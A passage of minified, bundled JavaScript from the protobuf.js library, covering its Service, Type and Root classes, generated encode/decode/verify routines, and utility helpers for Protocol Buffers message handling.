must be a string");Gk6.call(this,A,H),this.type=K||"rpc",this.requestType=q,this.requestStream=z?!0:void 0,this.responseType=Y,this.responseStream=w?!0:void 0,this.resolvedRequestType=null,this.resolvedResponseType=null,this.comment=J,this.parsedOptions=O}e5A.fromJSON=function(K,q){return new e5A(K,q.type,q.requestType,q.responseType,q.requestStream,q.responseStream,q.options,q.comment,q.parsedOptions)};e5A.prototype.toJSON=function(K){var q=K?Boolean(K.keepComments):!1;return _jA.toObject(["type",this.type!=="rpc"&&this.type||void 0,"requestType",this.requestType,"requestStream",this.requestStream,"responseType",this.responseType,"responseStream",this.responseStream,"options",this.options,"comment",q?this.comment:void 0,"parsedOptions",this.parsedOptions])};e5A.prototype.resolve=function(){if(this.resolved)return this;return this.resolvedRequestType=this.parent.lookupType(this.requestType),this.resolvedResponseType=this.parent.lookupType(this.responseType),Gk6.prototype.resolve.call(this)}});var lD1=v((wEH,Td7)=>{Td7.exports=Hv;var Kd=$jA();((Hv.prototype=Object.create(Kd.prototype)).constructor=Hv).className="Service";var Zk6=cD1(),KFA=pG(),U32=YE6();function Hv(A,K){Kd.call(this,A,K),this.methods={},this._methodsArray=null}Hv.fromJSON=function(K,q){var Y=new Hv(K,q.options);if(q.methods)for(var z=Object.keys(q.methods),w=0;w<z.length;++w)Y.add(Zk6.fromJSON(z[w],q.methods[z[w]]));if(q.nested)Y.addJSON(q.nested);if(q.edition)Y._edition=q.edition;return Y.comment=q.comment,Y._defaultEdition="proto3",Y};Hv.prototype.toJSON=function(K){var q=Kd.prototype.toJSON.call(this,K),Y=K?Boolean(K.keepComments):!1;return KFA.toObject(["edition",this._editionToJSON(),"options",q&&q.options||void 0,"methods",Kd.arrayToJSON(this.methodsArray,K)||{},"nested",q&&q.nested||void 0,"comment",Y?this.comment:void 0])};Object.defineProperty(Hv.prototype,"methodsArray",{get:function(){return this._methodsArray||(this._methodsArray=KFA.toArray(this.methods))}});function Nd7(A){return A._methodsArray=null,A}Hv.prototype.get=function(K){return this.methods[K]||Kd.prototype.get.call(this,K)};Hv.prototype.resolveAll=function(){if(!this._needsRecursiveResolve)return this;Kd.prototype.resolve.call(this);var K=this.methodsArray;for(var q=0;q<K.length;++q)K[q].resolve();return this};Hv.prototype._resolveFeaturesRecursive=function(K){if(!this._needsRecursiveFeatureResolution)return this;return K=this._edition||K,Kd.prototype._resolveFeaturesRecursive.call(this,K),this.methodsArray.forEach((q)=>{q._resolveFeaturesRecursive(K)}),this};Hv.prototype.add=function(K){if(this.get(K.name))throw Error("duplicate name '"+K.name+"' in "+this);if(K instanceof Zk6)return this.methods[K.name]=K,K.parent=this,Nd7(this);return Kd.prototype.add.call(this,K)};Hv.prototype.remove=function(K){if(K instanceof Zk6){if(this.methods[K.name]!==K)throw Error(K+" is not a member of "+this);return delete this.methods[K.name],K.parent=null,Nd7(this)}return Kd.prototype.remove.call(this,K)};Hv.prototype.create=function(K,q,Y){var z=new U32.Service(K,q,Y);for(var w=0,H;w<this.methodsArray.length;++w){var J=KFA.lcFirst((H=this._methodsArray[w]).resolve().name).replace(/[^$\w_]/g,"");z[J]=KFA.codegen(["r","c"],KFA.isReserved(J)?J+"_":J)("return this.rpcCall(m,q,s,r,c)")({m:H,q:H.resolvedRequestType.ctor,s:H.resolvedResponseType.ctor})}return z}});var iD1=v((HEH,vd7)=>{vd7.exports=IB;var p32=kB();function IB(A){if(A)for(var K=Object.keys(A),q=0;q<K.length;++q)this[K[q]]=A[K[q]]}IB.create=function(K){return this.$type.create(K)};IB.encode=function(K,q){return this.$type.encode(K,q)};IB.encodeDelimited=function(K,q){return this.$type.encodeDelimited(K,q)};IB.decode=function(K){return this.$type.decode(K)};IB.decodeDelimited=function(K){return this.$type.decodeDelimited(K)};IB.verify=function(K){return this.$type.verify(K)};IB.fromObject=function(K){return this.$type.fromObject(K)};IB.toObject=function(K,q){return this.$type.toObject(K,q)};IB.prototype.toJSON=function(){return this.$type.toObject(this,p32.toJSONOptions)}});var Wk6=v((JEH,kd7)=>{kd7.exports=l32;var d32=VS(),qd=t5A(),Ed7=pG();function c32(A){return"missing required '"+A.name+"'"}function l32(A){var K=Ed7.codegen(["r","l","e"],A.name+"$decode")("if(!(r instanceof Reader))")("r=Reader.create(r)")("var c=l===undefined?r.len:r.pos+l,m=new this.ctor"+(A.fieldsArray.filter(function(J){return J.map}).length?",k,value":""))("while(r.pos<c){")("var t=r.uint32()")("if(t===e)")("break")("switch(t>>>3){"),q=0;for(;q<A.fieldsArray.length;++q){var Y=A._fieldsArray[q].resolve(),z=Y.resolvedType instanceof d32?"int32":Y.type,w="m"+Ed7.safeProp(Y.name);if(K("case %i: {",Y.id),Y.map){if(K("if(%s===util.emptyObject)",w)("%s={}",w)("var c2 = r.uint32()+r.pos"),qd.defaults[Y.keyType]!==void 0)K("k=%j",qd.defaults[Y.keyType]);else K("k=null");if(qd.defaults[z]!==void 0)K("value=%j",qd.defaults[z]);else K("value=null");if(K("while(r.pos<c2){")("var tag2=r.uint32()")("switch(tag2>>>3){")("case 1: k=r.%s(); break",Y.keyType)("case 2:"),qd.basic[z]===void 0)K("value=types[%i].decode(r,r.uint32())",q);else K("value=r.%s()",z);if(K("break")("default:")("r.skipType(tag2&7)")("break")("}")("}"),qd.long[Y.keyType]!==void 0)K('%s[typeof k==="object"?util.longToHash(k):k]=value',w);else K("%s[k]=value",w)}else if(Y.repeated){if(K("if(!(%s&&%s.length))",w,w)("%s=[]",w),qd.packed[z]!==void 0)K("if((t&7)===2){")("var c2=r.uint32()+r.pos")("while(r.pos<c2)")("%s.push(r.%s())",w,z)("}else");if(qd.basic[z]===void 0)K(Y.delimited?"%s.push(types[%i].decode(r,undefined,((t&~7)|4)))":"%s.push(types[%i].decode(r,r.uint32()))",w,q);else K("%s.push(r.%s())",w,z)}else if(qd.basic[z]===void 0)K(Y.delimited?"%s=types[%i].decode(r,undefined,((t&~7)|4))":"%s=types[%i].decode(r,r.uint32())",w,q);else K("%s=r.%s()",w,z);K("break")("}")}K("default:")("r.skipType(t&7)")("break")("}")("}");for(q=0;q<A._fieldsArray.length;++q){var H=A._fieldsArray[q];if(H.required)K("if(!m.hasOwnProperty(%j))",H.name)("throw util.ProtocolError(%j,{instance:m})",c32(H))}return K("return m")}});var Mk6=v((OEH,Cd7)=>{Cd7.exports=r32;var i32=VS(),Dk6=pG();function $L(A,K){return A.name+": "+K+(A.repeated&&K!=="array"?"[]":A.map&&K!=="object"?"{k:"+A.keyType+"}":"")+" expected"}function jk6(A,K,q,Y){if(K.resolvedType)if(K.resolvedType instanceof i32){A("switch(%s){",Y)("default:")("return%j",$L(K,"enum value"));for(var z=Object.keys(K.resolvedType.values),w=0;w<z.length;++w)A("case %i:",K.resolvedType.values[z[w]]);A("break")("}")}else A("{")("var e=types[%i].verify(%s);",q,Y)("if(e)")("return%j+e",K.name+".")("}");else switch(K.type){case"int32":case"uint32":case"sint32":case"fixed32":case"sfixed32":A("if(!util.isInteger(%s))",Y)("return%j",$L(K,"integer"));break;case"int64":case"uint64":case"sint64":case"fixed64":case"sfixed64":A("if(!util.isInteger(%s)&&!(%s&&util.isInteger(%s.low)&&util.isInteger(%s.high)))",Y,Y,Y,Y)("return%j",$L(K,"integer|Long"));break;case"float":case"double":A('if(typeof %s!=="number")',Y)("return%j",$L(K,"number"));break;case"bool":A('if(typeof %s!=="boolean")',Y)("return%j",$L(K,"boolean"));break;case"string":A("if(!util.isString(%s))",Y)("return%j",$L(K,"string"));break;case"bytes":A('if(!(%s&&typeof %s.length==="number"||util.isString(%s)))',Y,Y,Y)("return%j",$L(K,"buffer"));break}return A}function n32(A,K,q){switch(K.keyType){case"int32":case"uint32":case"sint32":case"fixed32":case"sfixed32":A("if(!util.key32Re.test(%s))",q)("return%j",$L(K,"integer key"));break;case"int64":case"uint64":case"sint64":case"fixed64":case"sfixed64":A("if(!util.key64Re.test(%s))",q)("return%j",$L(K,"integer|Long key"));break;case"bool":A("if(!util.key2Re.test(%s))",q)("return%j",$L(K,"boolean key"));break}return A}function r32(A){var K=Dk6.codegen(["m"],A.name+"$verify")('if(typeof m!=="object"||m===null)')("return%j","object expected"),q=A.oneofsArray,Y={};if(q.length)K("var p={}");for(var z=0;z<A.fieldsArray.length;++z){var w=A._fieldsArray[z].resolve(),H="m"+Dk6.safeProp(w.name);if(w.optional)K("if(%s!=null&&m.hasOwnProperty(%j)){",H,w.name);if(w.map)K("if(!util.isObject(%s))",H)("return%j",$L(w,"object"))("var k=Object.keys(%s)",H)("for(var i=0;i<k.length;++i){"),n32(K,w,"k[i]"),jk6(K,w,z,H+"[k[i]]")("}");else if(w.repeated)K("if(!Array.isArray(%s))",H)("return%j",$L(w,"array"))("for(var i=0;i<%s.length;++i){",H),jk6(K,w,z,H+"[i]")("}");else{if(w.partOf){var J=Dk6.safeProp(w.partOf.name);if(Y[w.partOf.name]===1)K("if(p%s===1)",J)("return%j",w.partOf.name+": multiple values");Y[w.partOf.name]=1,K("p%s=1",J)}jk6(K,w,z,H)}if(w.optional)K("}")}return K("return null")}});var fk6=v((Rd7)=>{var Ld7=Rd7,qFA=VS(),SB=pG();function Pk6(A,K,q,Y){var z=!1;if(K.resolvedType)if(K.resolvedType instanceof qFA){A("switch(d%s){",Y);for(var w=K.resolvedType.values,H=Object.keys(w),J=0;J<H.length;++J){if(w[H[J]]===K.typeDefault&&!z){if(A("default:")('if(typeof(d%s)==="number"){m%s=d%s;break}',Y,Y,Y),!K.repeated)A("break");z=!0}A("case%j:",H[J])("case %i:",w[H[J]])("m%s=%j",Y,w[H[J]])("break")}A("}")}else A('if(typeof d%s!=="object")',Y)("throw TypeError(%j)",K.fullName+": object expected")("m%s=types[%i].fromObject(d%s)",Y,q,Y);else{var O=!1;switch(K.type){case"double":case"float":A("m%s=Number(d%s)",Y,Y);break;case"uint32":case"fixed32":A("m%s=d%s>>>0",Y,Y);break;case"int32":case"sint32":case"sfixed32":A("m%s=d%s|0",Y,Y);break;case"uint64":O=!0;case"int64":case"sint64":case"fixed64":case"sfixed64":A("if(util.Long)")("(m%s=util.Long.fromValue(d%s)).unsigned=%j",Y,Y,O)('else if(typeof d%s==="string")',Y)("m%s=parseInt(d%s,10)",Y,Y)('else if(typeof d%s==="number")',Y)("m%s=d%s",Y,Y)('else if(typeof d%s==="object")',Y)("m%s=new util.LongBits(d%s.low>>>0,d%s.high>>>0).toNumber(%s)",Y,Y,Y,O?"true":"");break;case"bytes":A('if(typeof d%s==="string")',Y)("util.base64.decode(d%s,m%s=util.newBuffer(util.base64.length(d%s)),0)",Y,Y,Y)("else if(d%s.length >= 0)",Y)("m%s=d%s",Y,Y);break;case"string":A("m%s=String(d%s)",Y,Y);break;case"bool":A("m%s=Boolean(d%s)",Y,Y);break}}return A}Ld7.fromObject=function(K){var q=K.fieldsArray,Y=SB.codegen(["d"],K.name+"$fromObject")("if(d instanceof this.ctor)")("return d");if(!q.length)return Y("return new this.ctor");Y("var m=new this.ctor");for(var z=0;z<q.length;++z){var w=q[z].resolve(),H=SB.safeProp(w.name);if(w.map)Y("if(d%s){",H)('if(typeof d%s!=="object")',H)("throw TypeError(%j)",w.fullName+": object expected")("m%s={}",H)("for(var ks=Object.keys(d%s),i=0;i<ks.length;++i){",H),Pk6(Y,w,z,H+"[ks[i]]")("}")("}");else if(w.repeated)Y("if(d%s){",H)("if(!Array.isArray(d%s))",H)("throw TypeError(%j)",w.fullName+": array expected")("m%s=[]",H)("for(var i=0;i<d%s.length;++i){",H),Pk6(Y,w,z,H+"[i]")("}")("}");else{if(!(w.resolvedType instanceof qFA))Y("if(d%s!=null){",H);if(Pk6(Y,w,z,H),!(w.resolvedType instanceof qFA))Y("}")}}return Y("return m")};function Vk6(A,K,q,Y){if(K.resolvedType)if(K.resolvedType instanceof qFA)A("d%s=o.enums===String?(types[%i].values[m%s]===undefined?m%s:types[%i].values[m%s]):m%s",Y,q,Y,Y,q,Y,Y);else A("d%s=types[%i].toObject(m%s,o)",Y,q,Y);else{var z=!1;switch(K.type){case"double":case"float":A("d%s=o.json&&!isFinite(m%s)?String(m%s):m%s",Y,Y,Y,Y);break;case"uint64":z=!0;case"int64":case"sint64":case"fixed64":case"sfixed64":A('if(typeof m%s==="number")',Y)("d%s=o.longs===String?String(m%s):m%s",Y,Y,Y)("else")("d%s=o.longs===String?util.Long.prototype.toString.call(m%s):o.longs===Number?new util.LongBits(m%s.low>>>0,m%s.high>>>0).toNumber(%s):m%s",Y,Y,Y,Y,z?"true":"",Y);break;case"bytes":A("d%s=o.bytes===String?util.base64.encode(m%s,0,m%s.length):o.bytes===Array?Array.prototype.slice.call(m%s):m%s",Y,Y,Y,Y,Y);break;default:A("d%s=m%s",Y,Y);break}}return A}Ld7.toObject=function(K){var q=K.fieldsArray.slice().sort(SB.compareFieldsById);if(!q.length)return SB.codegen()("return {}");var Y=SB.codegen(["m","o"],K.name+"$toObject")("if(!o)")("o={}")("var d={}"),z=[],w=[],H=[],J=0;for(;J<q.length;++J)if(!q[J].partOf)(q[J].resolve().repeated?z:q[J].map?w:H).push(q[J]);if(z.length){Y("if(o.arrays||o.defaults){");for(J=0;J<z.length;++J)Y("d%s=[]",SB.safeProp(z[J].name));Y("}")}if(w.length){Y("if(o.objects||o.defaults){");for(J=0;J<w.length;++J)Y("d%s={}",SB.safeProp(w[J].name));Y("}")}if(H.length){Y("if(o.defaults){");for(J=0;J<H.length;++J){var O=H[J],X=SB.safeProp(O.name);if(O.resolvedType instanceof qFA)Y("d%s=o.enums===String?%j:%j",X,O.resolvedType.valuesById[O.typeDefault],O.typeDefault);else if(O.long)Y("if(util.Long){")("var n=new util.Long(%i,%i,%j)",O.typeDefault.low,O.typeDefault.high,O.typeDefault.unsigned)("d%s=o.longs===String?n.toString():o.longs===Number?n.toNumber():n",X)("}else")("d%s=o.longs===String?%j:%i",X,O.typeDefault.toString(),O.typeDefault.toNumber());else if(O.bytes){var $="["+Array.prototype.slice.call(O.typeDefault).join(",")+"]";Y("if(o.bytes===String)d%s=%j",X,String.fromCharCode.apply(String,O.typeDefault))("else{")("d%s=%s",X,$)("if(o.bytes!==Array)d%s=util.newBuffer(d%s)",X,X)("}")}else Y("d%s=%j",X,O.typeDefault)}Y("}")}var _=!1;for(J=0;J<q.length;++J){var O=q[J],G=K._fieldsArray.indexOf(O),X=SB.safeProp(O.name);if(O.map){if(!_)_=!0,Y("var ks2");Y("if(m%s&&(ks2=Object.keys(m%s)).length){",X,X)("d%s={}",X)("for(var j=0;j<ks2.length;++j){"),Vk6(Y,O,G,X+"[ks2[j]]")("}")}else if(O.repeated)Y("if(m%s&&m%s.length){",X,X)("d%s=[]",X)("for(var j=0;j<m%s.length;++j){",X),Vk6(Y,O,G,X+"[j]")("}");else if(Y("if(m%s!=null&&m.hasOwnProperty(%j)){",X,O.name),Vk6(Y,O,G,X),O.partOf)Y("if(o.oneofs)")("d%s=%j",SB.safeProp(O.partOf.name),O.name);Y("}")}return Y("return d")}});var Nk6=v((yd7)=>{var o32=yd7,a32=iD1();o32[".google.protobuf.Any"]={fromObject:function(A){if(A&&A["@type"]){var K=A["@type"].substring(A["@type"].lastIndexOf("/")+1),q=this.lookup(K);if(q){var Y=A["@type"].charAt(0)==="."?A["@type"].slice(1):A["@type"];if(Y.indexOf("/")===-1)Y="/"+Y;return this.create({type_url:Y,value:q.encode(q.fromObject(A)).finish()})}}return this.fromObject(A)},toObject:function(A,K){var q="type.googleapis.com/",Y="",z="";if(K&&K.json&&A.type_url&&A.value){z=A.type_url.substring(A.type_url.lastIndexOf("/")+1),Y=A.type_url.substring(0,A.type_url.lastIndexOf("/")+1);var w=this.lookup(z);if(w)A=w.decode(A.value)}if(!(A instanceof this.ctor)&&A instanceof a32){var H=A.$type.toObject(A,K),J=A.$type.fullName[0]==="."?A.$type.fullName.slice(1):A.$type.fullName;if(Y==="")Y=q;return z=Y+J,H["@type"]=z,H}return this.toObject(A,K)}}});var oD1=v((_EH,Sd7)=>{Sd7.exports=Rw;var _L=$jA();((Rw.prototype=Object.create(_L.prototype)).constructor=Rw).className="Type";var s32=VS(),Ek6=s5A(),nD1=Jt(),t32=dD1(),e32=lD1(),Tk6=iD1(),vk6=GD1(),A92=$D1(),$j=pG(),K92=kk6(),q92=Wk6(),Y92=Mk6(),Id7=fk6(),z92=Nk6();function Rw(A,K){_L.call(this,A,K),this.fields={},this.oneofs=void 0,this.extensions=void 0,this.reserved=void 0,this.group=void 0,this._fieldsById=null,this._fieldsArray=null,this._oneofsArray=null,this._ctor=null}Object.defineProperties(Rw.prototype,{fieldsById:{get:function(){if(this._fieldsById)return this._fieldsById;this._fieldsById={};for(var A=Object.keys(this.fields),K=0;K<A.length;++K){var q=this.fields[A[K]],Y=q.id;if(this._fieldsById[Y])throw Error("duplicate id "+Y+" in "+this);this._fieldsById[Y]=q}return this._fieldsById}},fieldsArray:{get:function(){return this._fieldsArray||(this._fieldsArray=$j.toArray(this.fields))}},oneofsArray:{get:function(){return this._oneofsArray||(this._oneofsArray=$j.toArray(this.oneofs))}},ctor:{get:function(){return this._ctor||(this.ctor=Rw.generateConstructor(this)())},set:function(A){var K=A.prototype;if(!(K instanceof Tk6))(A.prototype=new Tk6).constructor=A,$j.merge(A.prototype,K);A.$type=A.prototype.$type=this,$j.merge(A,Tk6,!0),this._ctor=A;var q=0;for(;q<this.fieldsArray.length;++q)this._fieldsArray[q].resolve();var Y={};for(q=0;q<this.oneofsArray.length;++q)Y[this._oneofsArray[q].resolve().name]={get:$j.oneOfGetter(this._oneofsArray[q].oneof),set:$j.oneOfSetter(this._oneofsArray[q].oneof)};if(q)Object.defineProperties(A.prototype,Y)}}});Rw.generateConstructor=function(K){var q=$j.codegen(["p"],K.name);for(var Y=0,z;Y<K.fieldsArray.length;++Y)if((z=K._fieldsArray[Y]).map)q("this%s={}",$j.safeProp(z.name));else if(z.repeated)q("this%s=[]",$j.safeProp(z.name));return q("if(p)for(var ks=Object.keys(p),i=0;i<ks.length;++i)if(p[ks[i]]!=null)")("this[ks[i]]=p[ks[i]]")};function rD1(A){return A._fieldsById=A._fieldsArray=A._oneofsArray=null,delete A.encode,delete A.decode,delete A.verify,A}Rw.fromJSON=function(K,q){var Y=new Rw(K,q.options);Y.extensions=q.extensions,Y.reserved=q.reserved;var z=Object.keys(q.fields),w=0;for(;w<z.length;++w)Y.add((typeof q.fields[z[w]].keyType<"u"?t32.fromJSON:nD1.fromJSON)(z[w],q.fields[z[w]]));if(q.oneofs)for(z=Object.keys(q.oneofs),w=0;w<z.length;++w)Y.add(Ek6.fromJSON(z[w],q.oneofs[z[w]]));if(q.nested)for(z=Object.keys(q.nested),w=0;w<z.length;++w){var H=q.nested[z[w]];Y.add((H.id!==void 0?nD1.fromJSON:H.fields!==void 0?Rw.fromJSON:H.values!==void 0?s32.fromJSON:H.methods!==void 0?e32.fromJSON:_L.fromJSON)(z[w],H))}if(q.extensions&&q.extensions.length)Y.extensions=q.extensions;if(q.reserved&&q.reserved.length)Y.reserved=q.reserved;if(q.group)Y.group=!0;if(q.comment)Y.comment=q.comment;if(q.edition)Y._edition=q.edition;return Y._defaultEdition="proto3",Y};Rw.prototype.toJSON=function(K){var q=_L.prototype.toJSON.call(this,K),Y=K?Boolean(K.keepComments):!1;return $j.toObject(["edition",this._editionToJSON(),"options",q&&q.options||void 0,"oneofs",_L.arrayToJSON(this.oneofsArray,K),"fields",_L.arrayToJSON(this.fieldsArray.filter(function(z){return!z.declaringField}),K)||{},"extensions",this.extensions&&this.extensions.length?this.extensions:void 0,"reserved",this.reserved&&this.reserved.length?this.reserved:void 0,"group",this.group||void 0,"nested",q&&q.nested||void 0,"comment",Y?this.comment:void 0])};Rw.prototype.resolveAll=function(){if(!this._needsRecursiveResolve)return this;_L.prototype.resolveAll.call(this);var K=this.oneofsArray;Y=0;while(Y<K.length)K[Y++].resolve();var q=this.fieldsArray,Y=0;while(Y<q.length)q[Y++].resolve();return this};Rw.prototype._resolveFeaturesRecursive=function(K){if(!this._needsRecursiveFeatureResolution)return this;return K=this._edition||K,_L.prototype._resolveFeaturesRecursive.call(this,K),this.oneofsArray.forEach((q)=>{q._resolveFeatures(K)}),this.fieldsArray.forEach((q)=>{q._resolveFeatures(K)}),this};Rw.prototype.get=function(K){return this.fields[K]||this.oneofs&&this.oneofs[K]||this.nested&&this.nested[K]||null};Rw.prototype.add=function(K){if(this.get(K.name))throw Error("duplicate name '"+K.name+"' in "+this);if(K instanceof nD1&&K.extend===void 0){if(this._fieldsById?this._fieldsById[K.id]:this.fieldsById[K.id])throw Error("duplicate id "+K.id+" in "+this);if(this.isReservedId(K.id))throw Error("id "+K.id+" is reserved in "+this);if(this.isReservedName(K.name))throw Error("name '"+K.name+"' is reserved in "+this);if(K.parent)K.parent.remove(K);return this.fields[K.name]=K,K.message=this,K.onAdd(this),rD1(this)}if(K instanceof Ek6){if(!this.oneofs)this.oneofs={};return this.oneofs[K.name]=K,K.onAdd(this),rD1(this)}return _L.prototype.add.call(this,K)};Rw.prototype.remove=function(K){if(K instanceof nD1&&K.extend===void 0){if(!this.fields||this.fields[K.name]!==K)throw Error(K+" is not a member of "+this);return delete this.fields[K.name],K.parent=null,K.onRemove(this),rD1(this)}if(K instanceof Ek6){if(!this.oneofs||this.oneofs[K.name]!==K)throw Error(K+" is not a member of "+this);return delete this.oneofs[K.name],K.parent=null,K.onRemove(this),rD1(this)}return _L.prototype.remove.call(this,K)};Rw.prototype.isReservedId=function(K){return _L.isReservedId(this.reserved,K)};Rw.prototype.isReservedName=function(K){return _L.isReservedName(this.reserved,K)};Rw.prototype.create=function(K){return new this.ctor(K)};Rw.prototype.setup=function(){var K=this.fullName,q=[];for(var Y=0;Y<this.fieldsArray.length;++Y)q.push(this._fieldsArray[Y].resolve().resolvedType);this.encode=K92(this)({Writer:A92,types:q,util:$j}),this.decode=q92(this)({Reader:vk6,types:q,util:$j}),this.verify=Y92(this)({types:q,util:$j}),this.fromObject=Id7.fromObject(this)({types:q,util:$j}),this.toObject=Id7.toObject(this)({types:q,util:$j});var z=z92[K];if(z){var w=Object.create(this);w.fromObject=this.fromObject,this.fromObject=z.fromObject.bind(w),w.toObject=this.toObject,this.toObject=z.toObject.bind(w)}return this};Rw.prototype.encode=function(K,q){return this.setup().encode(K,q)};Rw.prototype.encodeDelimited=function(K,q){return this.encode(K,q&&q.len?q.fork():q).ldelim()};Rw.prototype.decode=function(K,q){return this.setup().decode(K,q)};Rw.prototype.decodeDelimited=function(K){if(!(K instanceof vk6))K=vk6.create(K);return this.decode(K,K.uint32())};Rw.prototype.verify=function(K){return this.setup().verify(K)};Rw.prototype.fromObject=function(K){return this.setup().fromObject(K)};Rw.prototype.toObject=function(K,q){return this.setup().toObject(K,q)};Rw.d=function(K){return function(Y){$j.decorateType(Y,K)}}});var eD1=v((GEH,xd7)=>{xd7.exports=Jv;var tD1=$jA();((Jv.prototype=Object.create(tD1.prototype)).constructor=Jv).className="Root";var aD1=Jt(),Ck6=VS(),w92=s5A(),Xt=pG(),Lk6,Rk6,YFA;function Jv(A){tD1.call(this,"",A),this.deferred=[],this.files=[],this._edition="proto2",this._fullyQualifiedObjects={}}Jv.fromJSON=function(K,q){if(!q)q=new Jv;if(K.options)q.setOptions(K.options);return q.addJSON(K.nested).resolveAll()};Jv.prototype.resolvePath=Xt.path.resolve;Jv.prototype.fetch=Xt.fetch;function bd7(){}Jv.prototype.load=function A(K,q,Y){if(typeof q==="function")Y=q,q=void 0;var z=this;if(!Y)return Xt.asPromise(A,z,K,q);var w=Y===bd7;function H(Z,W){if(!Y)return;if(w)throw Z;if(W)W.resolveAll();var D=Y;Y=null,D(Z,W)}function J(Z){var W=Z.lastIndexOf("google/protobuf/");if(W>-1){var D=Z.substring(W);if(D in YFA)return D}return null}function O(Z,W){try{if(Xt.isString(W)&&W.charAt(0)==="{")W=JSON.parse(W);if(!Xt.isString(W))z.setOptions(W.options).addJSON(W.nested);else{Rk6.filename=Z;var D=Rk6(W,z,q),j,M=0;if(D.imports){for(;M<D.imports.length;++M)if(j=J(D.imports[M])||z.resolvePath(Z,D.imports[M]))X(j)}if(D.weakImports){for(M=0;M<D.weakImports.length;++M)if(j=J(D.weakImports[M])||z.resolvePath(Z,D.weakImports[M]))X(j,!0)}}}catch(P){H(P)}if(!w&&!$)H(null,z)}function X(Z,W){if(Z=J(Z)||Z,z.files.indexOf(Z)>-1)return;if(z.files.push(Z),Z in YFA){if(w)O(Z,YFA[Z]);else++$,setTimeout(function(){--$,O(Z,YFA[Z])});return}if(w){var D;try{D=Xt.fs.readFileSync(Z).toString("utf8")}catch(j){if(!W)H(j);return}O(Z,D)}else++$,z.fetch(Z,function(j,M){if(--$,!Y)return;if(j){if(!W)H(j);else if(!$)H(null,z);return}O(Z,M)})}var $=0;if(Xt.isString(K))K=[K];for(var _=0,G;_<K.length;++_)if(G=z.resolvePath("",K[_]))X(G);if(w)return z.resolveAll(),z;if(!$)H(null,z);return z};Jv.prototype.loadSync=function(K,q){if(!Xt.isNode)throw Error("not supported");return this.load(K,q,bd7)};Jv.prototype.resolveAll=function(){if(!this._needsRecursiveResolve)return this;if(this.deferred.length)throw Error("unresolvable extensions: "+this.deferred.map(function(K){return"'extend "+K.extend+"' in "+K.parent.fullName}).join(", "));return tD1.prototype.resolveAll.call(this)};var sD1=/^[A-Z]/;function hd7(A,K){var q=K.parent.lookup(K.extend);if(q){var Y=new aD1(K.fullName,K.id,K.type,K.rule,void 0,K.options);if(q.get(Y.name))return!0;return Y.declaringField=K,K.extensionField=Y,q.add(Y),!0}return!1}Jv.prototype._handleAdd=function(K){if(K instanceof aD1){if(K.extend!==void 0&&!K.extensionField){if(!hd7(this,K))this.deferred.push(K)}}else if(K instanceof Ck6){if(sD1.test(K.name))K.parent[K.name]=K.values}else if(!(K instanceof w92)){if(K instanceof Lk6)for(var q=0;q<this.deferred.length;)if(hd7(this,this.deferred[q]))this.deferred.splice(q,1);else++q;for(var Y=0;Y<K.nestedArray.length;++Y)this._handleAdd(K._nestedArray[Y]);if(sD1.test(K.name))K.parent[K.name]=K}if(K instanceof Lk6||K instanceof Ck6||K instanceof aD1)this._fullyQualifiedObjects[K.fullName]=K};Jv.prototype._handleRemove=function(K){if(K instanceof aD1){if(K.extend!==void 0)if(K.extensionField)K.extensionField.parent.remove(K.extensionField),K.extensionField=null;else{var q=this.deferred.indexOf(K);if(q>-1)this.deferred.splice(q,1)}}else if(K instanceof Ck6){if(sD1.test(K.name))delete K.parent[K.name]}else if(K instanceof tD1){for(var Y=0;Y<K.nestedArray.length;++Y)this._handleRemove(K._nestedArray[Y]);if(sD1.test(K.name))delete K.parent[K.name]}delete this._fullyQualifiedObjects[K.fullName]};Jv._configure=function(A,K,q){Lk6=A,Rk6=K,YFA=q}});var pG=v((ZEH,Bd7)=>{var _X=Bd7.exports=kB(),ud7=zE6(),yk6,Ik6;_X.codegen=$d7();_X.fetch=Gd7();_X.path=Dd7();_X.fs=_X.inquire("fs");_X.toArray=function(K){if(K){var q=Object.keys(K),Y=Array(q.length),z=0;while(z<q.length)Y[z]=K[q[z++]];return Y}return[]};_X.toObject=function(K){var q={},Y=0;while(Y<K.length){var z=K[Y++],w=K[Y++];if(w!==void 0)q[z]=w}return q};var H92=/\\/g,J92=/"/g;_X.isReserved=function(K){return/^(?:do|if|in|for|let|new|try|var|case|else|enum|eval|false|null|this|true|void|with|break|catch|class|const|super|throw|while|yield|delete|export|import|public|return|static|switch|typeof|default|extends|finally|package|private|continue|debugger|function|arguments|interface|protected|implements|instanceof)$/.test(K)};_X.safeProp=function(K){if(!/^[$\w_]+$/.test(K)||_X.isReserved(K))return'["'+K.replace(H92,"\\\\").replace(J92,"\\\"")+'"]';return"."+K};_X.ucFirst=function(K){return K.charAt(0).toUpperCase()+K.substring(1)};var O92=/_([a-z])/g;_X.camelCase=function(K){return K.substring(0,1)+K.substring(1).replace(O92,function(q,Y){return Y.toUpperCase()})};_X.compareFieldsById=function(K,q){return K.id-q.id};_X.decorateType=function(K,q){if(K.$type){if(q&&K.$type.name!==q)_X.decorateRoot.remove(K.$type),K.$type.name=q,_X.decorateRoot.add(K.$type);return K.$type}if(!yk6)yk6=oD1();var Y=new yk6(q||K.name);return _X.decorateRoot.add(Y),Y.ctor=K,Object.defineProperty(K,"$type",{value:Y,enumerable:!1}),Object.defineProperty(K.prototype,"$type",{value:Y,enumerable:!1}),Y};var X92=0;_X.decorateEnum=function(K){if(K.$type)return K.$type;if(!Ik6)Ik6=VS();var q=new Ik6("Enum"+X92++,K);return _X.decorateRoot.add(q),Object.defineProperty(K,"$type",{value:q,enumerable:!1}),q};_X.setProperty=function(K,q,Y,z){function w(H,J,O){var X=J.shift();if(X==="__proto__"||X==="prototype")return H;if(J.length>0)H[X]=w(H[X]||{},J,O);else{var $=H[X];if($&&z)return H;if($)O=[].concat($).concat(O);H[X]=O}return H}if(typeof K!=="object")throw TypeError("dst must be an object");if(!q)throw TypeError("path must be specified");return q=q.split("."),w(K,q,Y)};Object.defineProperty(_X,"decorateRoot",{get:function(){return ud7.decorated||(ud7.decorated=new(eD1()))}})});var t5A=v((md7)=>{var zFA=md7,$92=pG(),_92=["double","float","int32","uint32","sint32","fixed32","sfixed32","int64","uint64","sint64","fixed64","sfixed64","bool","string","bytes"];function wFA(A,K){var q=0,Y={};K|=0;while(q<A.length)Y[_92[q+K]]=A[q++];return 